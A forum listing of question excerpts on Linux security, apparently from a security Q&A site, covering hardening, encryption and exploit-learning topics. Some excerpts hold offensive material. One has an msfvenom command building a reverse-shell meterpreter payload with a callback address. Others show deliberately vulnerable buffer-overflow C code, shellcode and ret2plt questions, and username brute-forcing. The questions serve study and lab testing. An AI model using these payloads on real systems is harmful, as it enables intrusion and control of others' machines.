Questions tagged [linux]

Securing Linux systems and applications; understanding Linux security features.

1
vote
1answer
47 views

Why doesn't my systemctl command work?

I'm working on a pentest VM, and have elevated my user privileges to that of a common user. I can see from my enumeration scans that systemctl has a SUID bit set, and has the ownership group listed as ...
1
vote
0answers
34 views

What are the security implications of capabilities in Kubernetes pods?

We have a Kubernetes deployment with an application that need to be on a VPN. We implement this requirement by running openvpn-client in a sidecar container within the pod with elevated capabilities: ...
0
votes
0answers
35 views

Whonix on Linux Server? [migrated]

I'm thrilled with the Whonix solution. But I don't like to have all data close to me. I would like to connect to a linux server with desktop interface. On this I would like to be able to work without ...
42
votes
7answers
23k views

How to prevent BadUSB attacks on Linux desktop?

What can I do to protect my Linux laptop from BadUSB attacks as described by ArsTechnica here? Perhaps writing an appropriate AppArmor profile would help?
0
votes
0answers
33 views

Is Opal-based full disk encryption fully working for Linux?

I'd like to know whether I can realistically use hardware based full disk encryption with Linux, both at start-up after putting the computer to sleep. Ideally I would like it to just work, regardless ...
0
votes
1answer
38 views

Connection changes after waking from sleep

On Debian, Linux, I am using netstat to monitor connections. After waking my system from sleep, I noticed a change in one of the connections, using port 6667 for irssi (identified by PID). I like to ...
0
votes
0answers
23 views

Will ret2plt technique, where libc address is leaked by e.g. puts, not fail if the .got entry contains 0-bytes?

In the ret2plt technique, puts is used to e.g. output its own .got entry after it has been resolved. But won't this technique fail if e.g. the .got entry stores the address 0xffff00ff? In this case,...
6
votes
1answer
1k views

How to detect malicious code sending information to attacker's server in linux

Suppose you have some malicious code on your linux laptop, for example a rootkit or trojan or something like that. Now restrict your attention to the case that the malicious code does transfer some ...
4
votes
2answers
958 views

Is there an equivalent of Control Flow Guard for Linux?

Introduced by Microsoft in recent versions of Windows and its compilers, Control Flow Guard is a useful defence in depth measure in the mitigation of return-oriented programming exploits. My question ...
0
votes
1answer
122 views

How fill up a gig interface bandwidth with hping3?

I've been trying to test our software against DOS attacks. So, I used 'HPing3' but it just fills up 10-11M of my interface's bandwidth! I ran the tool 40 times, I mean 40 hping3 processes, ...
1
vote
2answers
87 views

Is it ok to allow a web application to write its own executable files?

Usually I setup my Ubuntu server to have at least 2 users: A user behalf which the web server (Apache or Nginx) runs, e.g. www-data in group www-data A user that updates and maintains the web ...
39
votes
8answers
10k views

How can I prevent a user from copying files to another hard drive?

I have a Linux machine that contains sensitive files. Users should be able to access (read) them when they are using the computer, but should not be able to copy them to another hard drive (USB stick ...
15
votes
3answers
2k views

How long to re-seed /dev/urandom in a virtual machine?

I have read plenty about the distinction between /dev/random and /dev/urandom. I understand that the prevailing advice is to use /dev/urandom. The explanation - that 256 bits of 'proper' randomness ...
1
vote
1answer
64 views

Simple buffer overflow trying to leak address of system()

Code: #include <string.h> void vuln(char *arg) { char buffer[10]; strcpy(buffer, arg); } int main( int argc, char** argv ) { vuln(argv[1]); return 0; } I've determined I ...
11
votes
1answer
2k views

Methods root can use to elevate itself to kernel mode

When most Linux users hear "root", they think of the maximum possible privilege on a computer. Some even think that root runs in ring 0. But in reality, root is just a regular user running in ring 3, ...
1
vote
0answers
30 views

Basic buffer overflow able to overwrite EIP but doesn't correctly overwrite when using memory address

I wrote a basic vulnerable app in C. #include void vuln(char *arg) { char buffer[10]; strcpy(buffer, arg); } int main( int argc, char** argv ) { vuln(argv[1]); return 0; } I ...
10
votes
1answer
2k views

wget: what security issues am I not considering?

Questions: based on the details provided below, (a) what potential security vulnerabilities and threats might I face in my use of wget and (b) what recommendations would you give for mitigating those ...
0
votes
1answer
44 views

SSH Timed out problem [closed]

I can't connect to my kali linux ssh server running in Virtualbox through puTTY. I didn't make any changes to /etc/ssh/sshd_config file, besides Port and PermitRootLogin That's how i booted up my ssh ...
0
votes
1answer
121 views

Why isn't free software signed with self-signed certificates? [duplicate]

A majority of free software (in particular, Linux ports for Windows) are not signed. As I understand it, it is quite easy to create a self-signed CA, and sign the software. Distribution would be ...
1
vote
1answer
444 views

Shellcode not executing properly

I managed to get shellcode to be pointed to by eip by building my executable without safety measures. However, it does not appear to execute. Here is the C source of my vulnerable program: #include ...
22
votes
1answer
3k views

Does a single fopen introduce TOCTOU vulnerability?

I'm actually fixing driver under Linux. Klokwork said that code like: file = fopen(fileName, "w+"); // w+,r,a and any mix of those is used here if (file != NULL) { /* do things*/ } else { /* throw ...
0
votes
0answers
57 views

How safe is it to enable unprivileged user namespace: unprivileged_userns_clone

Linux user namespaces are special, as they play the role of the owner of the other namespaces. Distributions (Debian, Ubuntu, Arch, ...) seem to ship with unprivileged user namespaces disabled. For ...
0
votes
1answer
87 views

Is a live-system vulnerable?

For example using a live-system (that should run just in RAM) like some linux distributions. I don't know which password restriction are used on some distributions, not sure I knew that some exploits ...
32
votes
2answers
4k views

Ability To Change Root User Password (Vulnerability?)

I am studying for my RHCSA exam, and one of the topics is the ability to "change a forgotten root user password." This is an official exam objective and even has official Redhat documentation. How ...
1
vote
1answer
98 views

Is double encrypting with AES safe?

Is it safe to encrypt twice with AES, with any mode? Are any combinations of AES, e.g. AES with XTS and AES with CBC, or twice with AES and XTS, more unsafe than just having it encrypted once? I know ...
0
votes
0answers
47 views

Can script steal sensitive data in home directory on Linux and is SELinux optimal way/tool to prevent it

The premise: on a Linux workstation I regularly download and use various software, let's say Perl or Nodejs modules. When I use them they run on the machine with me as the owner and can do whatever I ...
3
votes
1answer
180 views

Does printk() cause any security issues?

I'm asking myself if the function printk() causes security issues on Linux. When an attacker has user level access to the system, does it make his life easier if he has access to kernel pointers? Does ...
0
votes
0answers
4 views

VMWare Parrot kernel failure [migrated]

I am using Windows 10 and I enabled the vt-x option from my bios and I have installed Windows 7 on VMWare WS 10 and it just worked fine. But when I try to install Parrot Linux by choosing install ...
3
votes
1answer
162 views

Do I need microcode update if I update Kernel?

There is a CPU vulnerability Microarchitectural Fill Buffer Data Sampling. I use a Linux OS and I think to fix Microarchitectural Fill Buffer Data Sampling you need to update intel microcode or ...
1
vote
0answers
34 views

An unknown domain serving contents of my sites [migrated]

I found that an unknown domain like www.aaa.com serving exactly the same contents (html, js ,css, any asset) of my site: myname.me. And the API as well, for example, www.aaa.com/api/user get the ...
3
votes
2answers
3k views

Default accounts shutdown, halt, and sync - still shipping?

I'm curious as to whether, and if so why, Unix and Linux distributions still ship with default accounts shutdown, halt and sync. Specifically (from a Red Hat document), sync:x:5:0:sync:/sbin:/bin/...
2
votes
2answers
154 views

Difference between linux capabities and seccomp

I know seccomp (secure computing) is a way to restrict a process from making particular system calls. While linux capabilities provides a way to give privileges to spcific user or process. So if I ...
34
votes
2answers
8k views

Why is there a need to modify system call tables in Linux?

I have been learning about rootkits recently and have noticed this hooking techniques that kernel-land rootkits use in order perform malicious actions. Where a typical hooking operation would be to ...
33
votes
2answers
9k views

Is having a hidden directory under /etc safe?

On Debian 9, installing default-jre creates a hidden directory /etc/.java. This is flagged as a warning while I run rkhunter. Looking up online, I found an old bug report against Debian. The bug was ...
2
votes
1answer
102 views

Allow only single aplication to access files on USB stick with Linux namespaces

It looks like i found a way to allow only single application to access files in USB storage. This script must be run with sudo. #!/bin/bash # create namespace unshare -m<<EOF # mount device ...
0
votes
2answers
177 views

How to brute force only username not password?

I want to find the username first, then pass the username and a password list. I could not find flags to ignore password in Ncrack and other related tools. The device I want to find a username is ...
0
votes
1answer
57 views

How and why is executable stack dangerous?

I'm currently using nested functions (which is extensions to C in GCC), however that is not supported (and is not planned to be supported) in clang. Mostly on the grounds that executable stack is ...
1
vote
2answers
97 views

Is an encrypted private key which never leaves my home directory more secure than an unencrypted one?

On a Linux system I'm running an utility like this: $ /usr/bin/myapp myprivatekey Enter passphrase for the private key:... ...application runs and uses the private key My understanding is that if I ...
0
votes
0answers
121 views

XenForo website hacked through PHP shell script

My XenForo forum was hacked today using a PHP shell script. The website is ran on Linux (Ubuntu 18). I'm not too experienced with backend stuff so I apologize if I use the wrong technical names. ...
1
vote
1answer
115 views

Honeypot for Linux user

Let's consider the following scenario: You have a web -facing server, which runs software e.g. apache2 on separate Linux user www-data. An attacker finds a vulnerability and gets a remote shell on ...
1
vote
0answers
99 views

How to stop logging for a specific user?

I'm a root user on my server. There are a bunch of users on my system. As you know, when you type w you can see who is and who isn't online. With the last command you can check last users who were ...
0
votes
0answers
27 views

What is wrong with this ettercap dump file?

I am trying to read a dump file which is created with ettercap. But when I am trying to read it with ettercap it is saying: Error while capturing: bogus savefile header And I can't read the file with ...
1
vote
1answer
772 views

How can privilege escalation through pkexec be prevented?

I've managed to elevate privileges on a Linux machine (3.19) using pkexec, but I don't understand the mechanics. /usr/bin/pkexec has the SUID bit set (which is normal, I gather), and simply using it ...
55
votes
8answers
20k views

Keeping secrets from root on Linux

I am looking for ways to harden a linux system so that even when gaining full root access (through legit or non-legit means), some secrets remain inaccessible. But first a little background. Many of ...
3
votes
3answers
2k views

Apparmor system-wide security — white-listing

I want to only white-list applications that can run on my system using Apparmor, I know it is used to confine applications/programs based on their path names, but what I need is to contain those ...
6
votes
2answers
3k views

Encrypting the /boot partition in a Linux system can protect from an Evil Maid Attack?

If the boot partition is encrypted (and the passphrase to unlock the device must be entered in GRUB before the boot sequence starts) is the system considerable safe from an Evil Maid Attack?
1
vote
1answer
82 views

What are the security trade offs between the different methods for encrypting a guest VM image?

The scenario is a lightly secured home or work PC used primarily for low-sensitive operations. For more secure activities a pre-built and restrictive virtual machine will be used. I'm mostly ...
0
votes
0answers
37 views

Executable reverse shell payload won't execute on linux machine

Payload: msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.56.222 LPORT=443 -f elf > hack.elf Listener/Handler :exploit/multi/handler;set PAYLOAD linux/x86/shell/reverse_tcp; So after ...
2
votes
0answers
85 views

Sniffing TCP packets using Wireshark

I am trying to reverse engineer a decoder. To do so I need to sniff the packets that the decoder receives from an Android application installed on my phone, this application is what controls the ...
0
votes
1answer
80 views

Are old, unused Java SE JRE files insecure?

We have an agent application deployed to some internal web servers that runs on java, and installs a specific JRE to use. The agent updates regularly and installs updated JRE versions to use, but ...